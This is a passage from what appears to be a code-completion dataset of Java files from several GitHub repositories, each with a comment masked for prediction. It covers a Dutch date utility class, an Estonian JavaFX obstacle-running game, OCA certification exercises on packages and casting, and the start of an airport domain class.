BaseLogger.logMsg(e.getMessage());
}
verschil += this.dagVanHetJaar() - date.dagVanHetJaar();
return verschil;
}
/**
* Schrikkeljaar of niet
*
* @return true, false
*/
public boolean isLeapYear() {
return (this.getJaar() % 400 == 0)
|| ((this.getJaar() % 4 == 0) && (this.getJaar() % 100 != 0));
}
/**
* Bereken aantal dagen van een maand
*
* @return { 31, 28/29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }
*/
public int dagVanHetJaar() {
int[] dagen = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
int totaal = 0;
for (int maand = 0; maand < this.getMaand(); maand++) {
// huidige maand nog niet meetellen
totaal += dagen[maand];
if (this.isLeapYear() && maand == 1) {
totaal += 1; // 29 ipv 28 dagen
}
}
totaal += this.getDag();
return totaal;
}
/**
* Dag van het jaar
*
* @return xxx/1-366
*/
public int julianDatum() {
int totaal = this.getJaar() * LONG_JUL;
return totaal += dagVanHetJaar();
}
/**
* Aantal dagen van het jaar
*
* @return 365 of 366
*/
public int aantalDagen() {
if (this.isLeapYear()) {
return LEAP_YEAR;
}
return NORMAL_YEAR;
}
/**
* Wijzig een datum met een aantal dagen (+/-)
*
* @param aantalDagen
*/
public void veranderDatum(int aantalDagen) {
this.setDag(this.getDag() + aantalDagen);
GregorianCalendar gc = new GregorianCalendar();
gc.setLenient(true);
gc.set(this.getJaar(), this.getMaand(), this.getDag());
this.setDag(gc.get(Calendar.DAY_OF_MONTH));
this.setMaand(gc.get(Calendar.MONTH));
this.setJaar(gc.get(Calendar.YEAR));
}
/**
* Berekening van een Unieke int Wordt gebruikt door de equals method
*
* @return int
*/
public int hashCode() {
return julianDatum();
}
public long getTimeInMilliSeconds() {
return longDate; //
}
} | mpaesen/invoicing | src/utilities/Date.java | 4,082 | /**
* Berekening van een Unieke int Wordt gebruikt door de equals method
*
* @return int
*/ | block_comment | nl | package utilities;
//import org.apache.log4j.lf5.LogLevel;
import org.apache.log4j.Level;
import persistency.logging.BaseLogger;
import java.util.Calendar;
import java.util.GregorianCalendar;
import java.util.StringTokenizer;
/**
* Deze class representeert een datum object en voorziet elementaire testen
*
* @author Mathy Paesen
* @date 24 september 2009
*/
public class Date implements Comparable<Date> {
public static final int LONG_JUL = 1000;
// berekening van Julian datum
public static final int LEAP_YEAR = 366;
public static final int NORMAL_YEAR = 365;
public static final int AANTAL_MAANDEN = 12;
public static final int CORRECTIE_MAAND = 1;
// maanden worden bewaard van 0 - 11
public static final int EERSTE_MAAND = 0;
public static final int LAATSTE_MAAND = 11;
public static final int DATUM_CORRECT = 0;
public static final int DAG_KLEINER = -1;
public static final int MAAND_KLEINER = -2;
public static final int JAAR_KLEINER = -3;
public static final int DAG_GROTER = 1;
public static final int MAAND_GROTER = 2;
public static final int JAAR_GROTER = 3;
public static final String SEPARATOR = "/";
public static final String[] MAAND_TEXT = {"Januari", "Februari", "Maart",
"April", "Mei", "Juni", "Juli", "Augustus", "September", "Oktober",
"November", "December"};
private int dag;
private int maand;
private int jaar;
private long longDate;
public Date() throws DatumException {
GregorianCalendar gc;
gc = new GregorianCalendar();
this.setDag(gc.get(Calendar.DATE));
this.setMaand(gc.get(Calendar.MONTH));
this.setJaar(gc.get(Calendar.YEAR));
testDatum();
}
public Date(long l) throws DatumException {
Calendar cal = new GregorianCalendar();
cal.setTime(new java.util.Date(l));
this.setDag(cal.get(Calendar.DATE));
this.setMaand(cal.get(Calendar.MONTH));
this.setJaar(cal.get(Calendar.YEAR));
testDatum();
}
public Date(int dag, int maand, int jaar) throws DatumException {
super();
this.setDag(dag);
this.setMaand(maand);
this.setJaar(jaar);
testDatum();
}
public Date(Date date) throws DatumException {
this(date.getDag(), date.getMaand(), date.getJaar());
testDatum();
}
public Date(String datum) throws DatumException {
/* DD/MM/JJJJ */
StringTokenizer tokenizer = new StringTokenizer(datum, SEPARATOR);
int i = 0;
while (tokenizer.hasMoreTokens()) {
switch (i) {
case 0:
this.setDag(Integer.parseInt((String) tokenizer.nextElement()));
break;
case 1:
this.setMaand(Integer.parseInt((String) tokenizer.nextElement()));
// maanden worden bewaard van 0 - 11
break;
case 2:
this.setJaar(Integer.parseInt((String) tokenizer.nextElement()));
break;
default:
this.setDag(0);
this.setMaand(0);
this.setJaar(0);
}
i++;
}
testDatum();
}
/**
* Geeft steeds de laatste dag van de maand
*
* @return Date
* @throws DatumException
*/
public static Date laatsteDagVanDeMaand(Date date) throws DatumException {
GregorianCalendar gc = new GregorianCalendar(date.jaar, date.maand,
date.getDag());
int dagVanDeMaand = gc.get(Calendar.DAY_OF_MONTH);
gc.add(Calendar.MONTH, 1);
gc.add(Calendar.DAY_OF_MONTH, -dagVanDeMaand);
return new Date(gc.get(Calendar.DATE), gc.get(Calendar.MONTH),
gc.get(Calendar.YEAR));
// GregorianCalendar kent enkel maanden tussen 0-11
}
/**
* @return Date[]
*/
public static Date[] sorteerDatums(Date[] datums) {
Date hulp;
for (int i = 0; i < datums.length - 1; i++) {
for (int j = 0; j < datums.length - 1; j++) {
if (datums[j + 1].kleinerDan(datums[j])) {
hulp = datums[j];
datums[j] = datums[j + 1];
datums[j + 1] = hulp;
}
}
}
return datums;
}
/**
* Indien een datum object niet correct is wordt een DatumException
* gegenereerd
*
* @throws DatumException
*/
private void testDatum() throws DatumException {
// maand 0-11
GregorianCalendar testDatum = new GregorianCalendar(this.jaar,
this.maand, this.dag);
testDatum.setLenient(false);// enkel correcte datums toegelaten (geen
// omrekening)
try {
testDatum.get(Calendar.YEAR);
testDatum.get(Calendar.MONTH);
testDatum.get(Calendar.DAY_OF_MONTH);
} catch (Exception e) {
throw new DatumException(this);
}
longDate = testDatum.getTime().getTime();
}
public int getDag() {
return dag;
}
public void setDag(int dag) {
this.dag = dag;
}
public int getMaand() {
return maand; // maanden worden bewaard van 0 - 11
}
public void setMaand(int maand) {
this.maand = maand;
}
public int getJaar() {
return jaar;
}
public void setJaar(int jaar) {
this.jaar = jaar;
}
/**
* Enkel correcte data mogen toegelaten worden.
*
* @param jaar
* @param maand
* @param dag
* @return true, false
*/
public boolean setDatum(int dag, int maand, int jaar) {
boolean correct = false;
try {
new Date(dag, maand, jaar);
this.setDag(dag);
this.setMaand(maand);
this.setJaar(jaar);
correct = true;
} catch (DatumException e) {
correct = false;
System.err.println("[" + jaar + SEPARATOR + maand + SEPARATOR + dag
+ "]" + e);
BaseLogger.logMsg("[" + jaar + SEPARATOR + maand + SEPARATOR + dag
+ "]" + e, Level.DEBUG);
}
return correct;
}
/**
* Date in USA formaat
*
* @return MM/DD/YYYY
*/
public String getDatumInAmerikaansFormaat() {
return String.format("%s%s%s",
getMaand() + CORRECTIE_MAAND + SEPARATOR, getDag() + SEPARATOR,
getJaar());
}
/**
* Date in EUR formaat
*
* @return DD/MM/YYYY
*/
public String getDatumInEuropeesFormaat() {
return String.format("%s%s%s", getDag() + SEPARATOR, getMaand()
+ CORRECTIE_MAAND + SEPARATOR, getJaar());
}
/**
* @return Januari, ..., December
*/
public String getMaandText() {
if (getMaand() > LAATSTE_MAAND || getMaand() < EERSTE_MAAND) {
return "Verkeerde maand";
}
return MAAND_TEXT[getMaand()];
}
/*
* String representatie van deze datum
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
return getDag() + " " + getMaandText() + " " + getJaar();
}
public String toString(String sep) {
return getDag() + sep + getMaand() + sep + getJaar();
}
/**
* Is deze datum gelijk aan een ander datum object
*
* @param date
* @return
*/
public boolean equals(Date date) {
if (this.getDag() != date.getDag()) {
return false;
} else if (this.getMaand() != date.getMaand()) {
return false;
} else return this.getJaar() == date.getJaar();
}
/**
* 0 Deze datum en de parameter datum zijn gelijk -1 Als de dag van de maand
* van deze datum kleiner is dan die van een ander datum object -2 Als de
* maand van deze datum kleiner is dan die van een ander datum object -3 Als
* het jaar van deze datum kleiner is dan die van een ander datum object
*
* @param date
* @return -1, -2, -3, 0
*/
public int compareTo(Date date) {
if (this.getJaar() < date.getJaar()) {
return JAAR_KLEINER;
}
if (this.getJaar() > date.getJaar()) {
return JAAR_GROTER;
}
if (this.getMaand() < date.getMaand()) {
return MAAND_KLEINER;
}
if (this.getMaand() > date.getMaand()) {
return MAAND_GROTER;
}
if (this.getDag() < date.getDag()) {
return DAG_KLEINER;
}
if (this.getDag() > date.getDag()) {
return DAG_GROTER;
}
return DATUM_CORRECT;
}
/**
* Is deze datum kleiner dan een ander datum object
*
* @param date
* @return
*/
public boolean kleinerDan(Date date) {
return this.compareTo(date) < DATUM_CORRECT;
}
/**
* Bereken het verschil in jaren tussen deze datum en een ander datum object
*
* @param date
* @return
*/
public int verschilInJaren(Date date) {
return this.getJaar() - date.getJaar();
}
/**
* Bereken het verschil in maanden tussen deze datum en een ander datum
* object
*
* @param date
* @return
*/
public int verschilInMaanden(Date date) {
int verschil = this.verschilInJaren(date);
verschil *= AANTAL_MAANDEN;
verschil += (this.getMaand() - date.getMaand());
return verschil;
}
/**
* Bereken het verschil in dagen tussen deze datum en een ander datum object
*
* @param date
* @return
*/
public int verschilInDagen(Date date) {
int verschil = 0;
Date test;
try {
test = new Date(this);
for (int i = 0; i < this.verschilInJaren(date); i++) {
test.setJaar(test.getJaar() - 1);
verschil += test.aantalDagen();
}
} catch (DatumException e) {
BaseLogger.logMsg(e.getMessage());
}
verschil += this.dagVanHetJaar() - date.dagVanHetJaar();
return verschil;
}
/**
* Schrikkeljaar of niet
*
* @return true, false
*/
public boolean isLeapYear() {
return (this.getJaar() % 400 == 0)
|| ((this.getJaar() % 4 == 0) && (this.getJaar() % 100 != 0));
}
/**
* Bereken aantal dagen van een maand
*
* @return { 31, 28/29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }
*/
public int dagVanHetJaar() {
int[] dagen = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
int totaal = 0;
for (int maand = 0; maand < this.getMaand(); maand++) {
// huidige maand nog niet meetellen
totaal += dagen[maand];
if (this.isLeapYear() && maand == 1) {
totaal += 1; // 29 ipv 28 dagen
}
}
totaal += this.getDag();
return totaal;
}
/**
* Dag van het jaar
*
* @return xxx/1-366
*/
public int julianDatum() {
int totaal = this.getJaar() * LONG_JUL;
return totaal += dagVanHetJaar();
}
/**
* Aantal dagen van het jaar
*
* @return 365 of 366
*/
public int aantalDagen() {
if (this.isLeapYear()) {
return LEAP_YEAR;
}
return NORMAL_YEAR;
}
/**
* Wijzig een datum met een aantal dagen (+/-)
*
* @param aantalDagen
*/
public void veranderDatum(int aantalDagen) {
this.setDag(this.getDag() + aantalDagen);
GregorianCalendar gc = new GregorianCalendar();
gc.setLenient(true);
gc.set(this.getJaar(), this.getMaand(), this.getDag());
this.setDag(gc.get(Calendar.DAY_OF_MONTH));
this.setMaand(gc.get(Calendar.MONTH));
this.setJaar(gc.get(Calendar.YEAR));
}
/**
* Berekening van een<SUF>*/
public int hashCode() {
return julianDatum();
}
public long getTimeInMilliSeconds() {
return longDate; //
}
} |
202793_45 | package TakistusjooksFX;
import javafx.animation.AnimationTimer;
import javafx.application.Application;
import javafx.geometry.Pos;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.input.KeyCode;
import javafx.scene.layout.Pane;
import javafx.scene.layout.VBox;
import javafx.scene.paint.Color;
import javafx.scene.shape.Rectangle;
import javafx.scene.text.Text;
import javafx.stage.Stage;
import java.util.ArrayList;
/**
* Created by Maie on 29/10/2016.
*/
public class Katse2 extends Application {
public ArrayList<Rectangle> platvormid = new ArrayList(); // ArrayList, mis hoiab kõik mängulaua elemendid, v.a mängija
public Pane appRoot = new Pane(); // appRoot'is toimub kogu liikumine
public Pane gameRoot = new Pane(); // gameRootis' on kõik mängu elemendid (mängija+level)
public int manguLaius; // Teeb kindlaks ühe leveli laiuse
public int maxLaius;
public String rida;
public double grav; // Gravitatsioonikonstant
public boolean jumping = false; // Topelthüpe keelatud ehk mängija hüppab korra ja järgmine hüpe on lubatud pärast esimese hüppe lõppu
public Rectangle taust = new Rectangle(600, 400); // Taust ehk must ruut
private Rectangle tekitaRuut(int x, int y, int w, int h, Color color) { //Programmisisene meetod elementide loomiseks (kõik ruudud)
Rectangle ruut = new Rectangle(w, h);
ruut.setTranslateX(x); //Seab paika koordinaadid tekkinud ruudule
ruut.setTranslateY(y);
ruut.setFill(color); //Annab ruudule värvi
gameRoot.getChildren().addAll(ruut); //Tekkinud ruudud pannakse gameRoot'i ehk Pane'i, kus on kõik elemendid
return ruut;
}
public void manguSisu() { //Meetod, mis genereerib terve leveli ette antud andmetest (LevelData) (Almas Baimagambetov:
// https://github.com/AlmasB/FXTutorials/blob/master/src/com/almasb/tutorial14/Main.java)
manguLaius = LevelData.LVL1[0].length(); //Mängu laiuseks võta LevelData's oleva stringi ühe "sõna" pikkuse
maxLaius = LevelData.LVL1.length;
for (int i = 0; i < maxLaius; i++) { //Käi läbi iga rida
rida = LevelData.LVL1[i]; //Muuda iga "sõna" sees olev täht eraldi stringiks (muidu asi ei tööta)
for (int j = 0; j < rida.length(); j++) { //Käi läbi iga loodud string
switch (rida.charAt(j)) {
case '0': //Kui on "0", siis ära tee midagi.
break;
case '1': //Kui on "1", siis tekita ruut meetodi tekitaRuut abil
Rectangle platvorm = tekitaRuut(j * 50, i * 50, 50, 50, Color.BLUE);
platvormid.add(platvorm); //Lisa tekkinud platvorm ArrayListi platvormid
break;
}
}
}
appRoot.getChildren().addAll(taust, gameRoot); //Pane kogu krempel kõige peamisele Pane'ile ehk sellele, kus toimub liikumine (appRoot)
}
Rectangle mangija = tekitaRuut(100, 200, 30, 30, Color.WHITE); //Tekita mängija ruut
private void taustLiigub() { //Meetod, mis paneb tausta vasakult paremale liikuma (liigub gameRoot)
double scrollSpeed = -3; //Liikumise kiirus
double taustParemale = gameRoot.getLayoutX() + scrollSpeed; //Võta gameRoot X asukoha ja lisa juurde liikumine
gameRoot.setLayoutX(taustParemale); //Sea uueks gameRoot X-telje asukohaks tekkinud arv
}
public void gravity(boolean isHitting) { //Mängija kukub pidevalt allapoole (sõbra abi - Jason Parks)
if (isHitting && grav == 0) {
return;
}
double mangijaY = mangija.getTranslateY(); //Leia mängija asukoht Y-teljel
grav = grav + 0.1; //Gravity ehk mida kõrgemalt kukub, seda kõrgem väärtus
double uusMangijaY = mangijaY + grav; //Leia mängija asukoht Y-teljel koos gravitatsiooniga
mangija.setTranslateY(uusMangijaY); //Sea mängija uueks Y-koordinaadiks leitud asukoht
}
public void playerMove(boolean isHitting) { //Mängija liigutamine (sõbra abi - Jason Parks)
if (!isHitting) { //Kui kokkupõrget pole, siis liiguta mängijat edasi
mangija.setTranslateX(mangija.getTranslateX() + 3);
}
}
public boolean verticalHitDetection() { //Kukub platvormile ja jääb püsima (sõbra abi - Jason Parks)
for (Rectangle platvorm : platvormid) { //Käi läbi kõik platvormid
if (mangija.getBoundsInParent().intersects(platvorm.getBoundsInParent())) { //Kui mängija asukoht ristub platvormiga...
if (grav != -4 && grav != 0) { //Kui gravitatsioon ei ole -4 (ehk ei toimu hüpet) ja see ei ole 0 (ehk mängija ei seisa platvormil,
grav = 0; //siis lülita gravitatsioon välja ja
jumping = false; //(Hüpe false ehk topelthüpet ei saa teha)
mangija.setTranslateY(platvorm.getTranslateY() - mangija.getHeight()); //sea mängija asukohaks platvorm + mängija kõrgus ehk platvormi kohale
}
return true; //Ülalnimetatud tegevuste tulemuseks määra meetodi tõeseks ehk kokkupõrge toimus
}
}
return false; //Kui kokkupõrget ei toimunud, siis määra meetod mittetõeseks
}
public boolean horizontalHitDetection() { //Läheb vastu platvormi ja ei sõida sisse (sõbra abi - Jason Parks)
for (Rectangle platvorm : platvormid) { //Käi läbi kõik platvormid
if (mangija.getTranslateX() + mangija.getWidth() > platvorm.getTranslateX() //Kui mängija ei asu platvormi piires ehk mängija vasak külg + laius on suuremad
&& mangija.getTranslateX() + mangija.getWidth() < platvorm.getTranslateX() + platvorm.getWidth()) { //platvormi vasakust ja paremast küljest
//System.out.println("hit a platform " + platvorm.getTranslateX() + " " + platvorm.getTranslateY());
//System.out.println("" + mangija.getTranslateY() + " " + (platvorm.getTranslateY() - mangija.getHeight()));
if (mangija.getTranslateY() > platvorm.getTranslateY() - mangija.getHeight()) { //Kui samal ajal mängija Y-koordinaat on suurem platvormi Y-koordinaadist - mängija kõrgus
//System.out.println("ouch"); //ehk mängija on platvormi kohal,
return true; //siis määra meetodi tõeseks ehk kokkupõrge toimus (mööda X-telge)
}
}
}
return false; //Vastasel juhul on meetod mittetõene ehk kokkupõrget ei toimunud.
}
@Override
public void start(Stage primaryStage) throws Exception {
manguSisu(); //Genereeri mängu sisu ehk lae level.
Scene esimene = new Scene(appRoot); //Akna tegemine ja appRoot näitamine
primaryStage.setTitle("Napikas: The Game");
primaryStage.setScene(esimene);
primaryStage.show();
VBox akenEnd = new VBox(); //Death screen (Tehtud docs.oracle.com juhendi järgi)
Button uuesti = new Button("Uuesti?");
uuesti.setStyle("-fx-font-size: 21pt;"); //Nupu suurus (teksti suurus)
akenEnd.setStyle("-fx-background-color:RED");
akenEnd.getChildren().add(uuesti);
akenEnd.setAlignment(Pos.CENTER); //Seab nupu keskele
Scene teine = new Scene(akenEnd, 600, 400);
VBox congratsAken = new VBox(); //Lõpusõnum
Text congratsT = new Text("See oli küll napikas!!!");
congratsT.setStyle("-fx-font-size: 40pt;");
congratsAken.getChildren().addAll(congratsT);
congratsAken.setAlignment(Pos.CENTER);
Scene kolmas = new Scene(congratsAken, 600, 400);
AnimationTimer timer = new AnimationTimer() { //Kogu liikumine, mis mängus toimub.
@Override
public void handle(long now) {
boolean isHorizontalHitting = horizontalHitDetection();
playerMove(isHorizontalHitting);
boolean isHitting = verticalHitDetection();
gravity(isHitting);
taustLiigub();
if (mangija.getTranslateY() > appRoot.getTranslateY() + 400) { //Kui mängija kukub alla, siis näita Death Screen
primaryStage.setScene(teine);
}
if (mangija.getTranslateX() > (manguLaius + 5) * 50){ //kui mängija jõuab lõppu + 1 ruut, siis näita lõpusõnumit
primaryStage.setScene(kolmas);
}
}
};timer.start();
{
esimene.setOnKeyPressed(event -> { //Hüppamine (sõbra abi - Jason Parks)
if (event.getCode() == KeyCode.SPACE && mangija.getTranslateY() >= 5 && !jumping){
grav = -3;
jumping = true;
} else if (event.getCode() == KeyCode.UP && mangija.getTranslateY() >= 5 && !jumping){
grav = -3;
jumping = true;
}
});
uuesti.setOnAction(event -> { //Death screen nupp -> reset game
mangija.setTranslateX(100);
mangija.setTranslateY(100);
gameRoot.setLayoutX(0);
primaryStage.setScene(esimene);
});
}
}
} | mpalmeos/TakistusjooksFX | Katse2.java | 3,372 | //System.out.println("" + mangija.getTranslateY() + " " + (platvorm.getTranslateY() - mangija.getHeight())); | line_comment | nl | package TakistusjooksFX;
import javafx.animation.AnimationTimer;
import javafx.application.Application;
import javafx.geometry.Pos;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.input.KeyCode;
import javafx.scene.layout.Pane;
import javafx.scene.layout.VBox;
import javafx.scene.paint.Color;
import javafx.scene.shape.Rectangle;
import javafx.scene.text.Text;
import javafx.stage.Stage;
import java.util.ArrayList;
/**
* Created by Maie on 29/10/2016.
*/
public class Katse2 extends Application {
public ArrayList<Rectangle> platvormid = new ArrayList(); // ArrayList, mis hoiab kõik mängulaua elemendid, v.a mängija
public Pane appRoot = new Pane(); // appRoot'is toimub kogu liikumine
public Pane gameRoot = new Pane(); // gameRootis' on kõik mängu elemendid (mängija+level)
public int manguLaius; // Teeb kindlaks ühe leveli laiuse
public int maxLaius;
public String rida;
public double grav; // Gravitatsioonikonstant
public boolean jumping = false; // Topelthüpe keelatud ehk mängija hüppab korra ja järgmine hüpe on lubatud pärast esimese hüppe lõppu
public Rectangle taust = new Rectangle(600, 400); // Taust ehk must ruut
private Rectangle tekitaRuut(int x, int y, int w, int h, Color color) { //Programmisisene meetod elementide loomiseks (kõik ruudud)
Rectangle ruut = new Rectangle(w, h);
ruut.setTranslateX(x); //Seab paika koordinaadid tekkinud ruudule
ruut.setTranslateY(y);
ruut.setFill(color); //Annab ruudule värvi
gameRoot.getChildren().addAll(ruut); //Tekkinud ruudud pannakse gameRoot'i ehk Pane'i, kus on kõik elemendid
return ruut;
}
public void manguSisu() { //Meetod, mis genereerib terve leveli ette antud andmetest (LevelData) (Almas Baimagambetov:
// https://github.com/AlmasB/FXTutorials/blob/master/src/com/almasb/tutorial14/Main.java)
manguLaius = LevelData.LVL1[0].length(); //Mängu laiuseks võta LevelData's oleva stringi ühe "sõna" pikkuse
maxLaius = LevelData.LVL1.length;
for (int i = 0; i < maxLaius; i++) { //Käi läbi iga rida
rida = LevelData.LVL1[i]; //Muuda iga "sõna" sees olev täht eraldi stringiks (muidu asi ei tööta)
for (int j = 0; j < rida.length(); j++) { //Käi läbi iga loodud string
switch (rida.charAt(j)) {
case '0': //Kui on "0", siis ära tee midagi.
break;
case '1': //Kui on "1", siis tekita ruut meetodi tekitaRuut abil
Rectangle platvorm = tekitaRuut(j * 50, i * 50, 50, 50, Color.BLUE);
platvormid.add(platvorm); //Lisa tekkinud platvorm ArrayListi platvormid
break;
}
}
}
appRoot.getChildren().addAll(taust, gameRoot); //Pane kogu krempel kõige peamisele Pane'ile ehk sellele, kus toimub liikumine (appRoot)
}
Rectangle mangija = tekitaRuut(100, 200, 30, 30, Color.WHITE); //Tekita mängija ruut
private void taustLiigub() { //Meetod, mis paneb tausta vasakult paremale liikuma (liigub gameRoot)
double scrollSpeed = -3; //Liikumise kiirus
double taustParemale = gameRoot.getLayoutX() + scrollSpeed; //Võta gameRoot X asukoha ja lisa juurde liikumine
gameRoot.setLayoutX(taustParemale); //Sea uueks gameRoot X-telje asukohaks tekkinud arv
}
public void gravity(boolean isHitting) { //Mängija kukub pidevalt allapoole (sõbra abi - Jason Parks)
if (isHitting && grav == 0) {
return;
}
double mangijaY = mangija.getTranslateY(); //Leia mängija asukoht Y-teljel
grav = grav + 0.1; //Gravity ehk mida kõrgemalt kukub, seda kõrgem väärtus
double uusMangijaY = mangijaY + grav; //Leia mängija asukoht Y-teljel koos gravitatsiooniga
mangija.setTranslateY(uusMangijaY); //Sea mängija uueks Y-koordinaadiks leitud asukoht
}
public void playerMove(boolean isHitting) { //Mängija liigutamine (sõbra abi - Jason Parks)
if (!isHitting) { //Kui kokkupõrget pole, siis liiguta mängijat edasi
mangija.setTranslateX(mangija.getTranslateX() + 3);
}
}
public boolean verticalHitDetection() { //Kukub platvormile ja jääb püsima (sõbra abi - Jason Parks)
for (Rectangle platvorm : platvormid) { //Käi läbi kõik platvormid
if (mangija.getBoundsInParent().intersects(platvorm.getBoundsInParent())) { //Kui mängija asukoht ristub platvormiga...
if (grav != -4 && grav != 0) { //Kui gravitatsioon ei ole -4 (ehk ei toimu hüpet) ja see ei ole 0 (ehk mängija ei seisa platvormil,
grav = 0; //siis lülita gravitatsioon välja ja
jumping = false; //(Hüpe false ehk topelthüpet ei saa teha)
mangija.setTranslateY(platvorm.getTranslateY() - mangija.getHeight()); //sea mängija asukohaks platvorm + mängija kõrgus ehk platvormi kohale
}
return true; //Ülalnimetatud tegevuste tulemuseks määra meetodi tõeseks ehk kokkupõrge toimus
}
}
return false; //Kui kokkupõrget ei toimunud, siis määra meetod mittetõeseks
}
public boolean horizontalHitDetection() { //Läheb vastu platvormi ja ei sõida sisse (sõbra abi - Jason Parks)
for (Rectangle platvorm : platvormid) { //Käi läbi kõik platvormid
if (mangija.getTranslateX() + mangija.getWidth() > platvorm.getTranslateX() //Kui mängija ei asu platvormi piires ehk mängija vasak külg + laius on suuremad
&& mangija.getTranslateX() + mangija.getWidth() < platvorm.getTranslateX() + platvorm.getWidth()) { //platvormi vasakust ja paremast küljest
//System.out.println("hit a platform " + platvorm.getTranslateX() + " " + platvorm.getTranslateY());
//System.out.println("" +<SUF>
if (mangija.getTranslateY() > platvorm.getTranslateY() - mangija.getHeight()) { //Kui samal ajal mängija Y-koordinaat on suurem platvormi Y-koordinaadist - mängija kõrgus
//System.out.println("ouch"); //ehk mängija on platvormi kohal,
return true; //siis määra meetodi tõeseks ehk kokkupõrge toimus (mööda X-telge)
}
}
}
return false; //Vastasel juhul on meetod mittetõene ehk kokkupõrget ei toimunud.
}
@Override
public void start(Stage primaryStage) throws Exception {
manguSisu(); //Genereeri mängu sisu ehk lae level.
Scene esimene = new Scene(appRoot); //Akna tegemine ja appRoot näitamine
primaryStage.setTitle("Napikas: The Game");
primaryStage.setScene(esimene);
primaryStage.show();
VBox akenEnd = new VBox(); //Death screen (Tehtud docs.oracle.com juhendi järgi)
Button uuesti = new Button("Uuesti?");
uuesti.setStyle("-fx-font-size: 21pt;"); //Nupu suurus (teksti suurus)
akenEnd.setStyle("-fx-background-color:RED");
akenEnd.getChildren().add(uuesti);
akenEnd.setAlignment(Pos.CENTER); //Seab nupu keskele
Scene teine = new Scene(akenEnd, 600, 400);
VBox congratsAken = new VBox(); //Lõpusõnum
Text congratsT = new Text("See oli küll napikas!!!");
congratsT.setStyle("-fx-font-size: 40pt;");
congratsAken.getChildren().addAll(congratsT);
congratsAken.setAlignment(Pos.CENTER);
Scene kolmas = new Scene(congratsAken, 600, 400);
AnimationTimer timer = new AnimationTimer() { //Kogu liikumine, mis mängus toimub.
@Override
public void handle(long now) {
boolean isHorizontalHitting = horizontalHitDetection();
playerMove(isHorizontalHitting);
boolean isHitting = verticalHitDetection();
gravity(isHitting);
taustLiigub();
if (mangija.getTranslateY() > appRoot.getTranslateY() + 400) { //Kui mängija kukub alla, siis näita Death Screen
primaryStage.setScene(teine);
}
if (mangija.getTranslateX() > (manguLaius + 5) * 50){ //kui mängija jõuab lõppu + 1 ruut, siis näita lõpusõnumit
primaryStage.setScene(kolmas);
}
}
};timer.start();
{
esimene.setOnKeyPressed(event -> { //Hüppamine (sõbra abi - Jason Parks)
if (event.getCode() == KeyCode.SPACE && mangija.getTranslateY() >= 5 && !jumping){
grav = -3;
jumping = true;
} else if (event.getCode() == KeyCode.UP && mangija.getTranslateY() >= 5 && !jumping){
grav = -3;
jumping = true;
}
});
uuesti.setOnAction(event -> { //Death screen nupp -> reset game
mangija.setTranslateX(100);
mangija.setTranslateY(100);
gameRoot.setLayoutX(0);
primaryStage.setScene(esimene);
});
}
}
} |
18980_4 | public class Tester {
public static void main(String args[]) {
// MielClone heeft een public wrapper
// Miel en MielClone zitten in DEZELFDE package
// Via reference variable en inheritance
jaeger.de.miel.MielClone c = new jaeger.de.miel.MielClone();
//c.playTune(); // playTune() is not public in Miel; cannot be accessed from outside package
c.cloning();
// Miel en MielImmitator zitten in DEZELFDE package
// Via reference variable geen inheritance
jaeger.de.miel.MielImmitator i = new jaeger.de.miel.MielImmitator();
i.immitating();
// Miel en MielClone zitten NIET in dezelfde package <- cannot be accessed from outside package!!!
//jaeger.de.kim.MielClone c2 = new jaeger.de.kim.MielClone();
//c2.cloning();
}
} | mpfdj/oca8-cli | 4. Methods and Encapsulation/default/Tester.java | 290 | // Miel en MielImmitator zitten in DEZELFDE package | line_comment | nl | public class Tester {
public static void main(String args[]) {
// MielClone heeft een public wrapper
// Miel en MielClone zitten in DEZELFDE package
// Via reference variable en inheritance
jaeger.de.miel.MielClone c = new jaeger.de.miel.MielClone();
//c.playTune(); // playTune() is not public in Miel; cannot be accessed from outside package
c.cloning();
// Miel en<SUF>
// Via reference variable geen inheritance
jaeger.de.miel.MielImmitator i = new jaeger.de.miel.MielImmitator();
i.immitating();
// Miel en MielClone zitten NIET in dezelfde package <- cannot be accessed from outside package!!!
//jaeger.de.kim.MielClone c2 = new jaeger.de.kim.MielClone();
//c2.cloning();
}
} |
97032_1 | package com.oracle.inheritance;
class A {}
class B extends A {}
class C extends B {}
class D {}
public class App {
public static void main(String[] args) {
// upcast naar object mag altijd
Object o = new Object(); // java.lang.ClassCastException meestal bij een downcast!
String s = (String) o;
//Number n = (Number) s; // Can't convert String to Number
A a = new A();
// C c = (C) a; // java.lang.ClassCastException meestal bij een downcast!
A a2 = new A();
// D d = (D) a2; // unrelated types compiler error
Object o3 = new Object();
A a3 = (A) o3;
}
}
| mpfdj/oca8-maven-project | src/main/java/com/oracle/inheritance/App.java | 210 | // java.lang.ClassCastException meestal bij een downcast! | line_comment | nl | package com.oracle.inheritance;
class A {}
class B extends A {}
class C extends B {}
class D {}
public class App {
public static void main(String[] args) {
// upcast naar object mag altijd
Object o = new Object(); // java.lang.ClassCastException meestal<SUF>
String s = (String) o;
//Number n = (Number) s; // Can't convert String to Number
A a = new A();
// C c = (C) a; // java.lang.ClassCastException meestal bij een downcast!
A a2 = new A();
// D d = (D) a2; // unrelated types compiler error
Object o3 = new Object();
A a3 = (A) o3;
}
}
|
39965_6 |
package domeinLaag;
// Imports
import java.util.HashSet;
import java.util.Iterator;
import java.util.TreeMap;
/**
* Een object van deze klasse representeert één luchthaven.
* Een Luchthaven heeft een naam en een code (afkorting).
* Eventueel heeft de luchthaven ook een werkplaats.
* Tot slot ligt de luchthaven in een land.
*/
public class Luchthaven
{
// Attributes
private String naam = ""; // De naam van de luchthaven.
private String code = ""; // De code (afkorting) van de luchthaven.
private boolean werkPlaats = false; // Of de luchthaven een werkplaats heeft of niet.
// Relaties
private Land land; // In welk land de luchthaven ligt.
private static HashSet<Luchthaven> alleLuchthavens = new HashSet<Luchthaven>(); // Een statische HashSet van alle luchthavens.
// Constructors
/**
* Constructor voor het aanmaken van een Luchthaven. Wordt gebruikt door Main om de boel even te vullen.
* Dit zodat er ook wat te testen valt.
* @param nm de naam van de luchthaven
* @param cd de code (afkorting) van de luchthaven
* @param wp true als de luchthaven een werkplaats heeft, anders false
* @param ln het land waar de luchthaven in ligt
*/
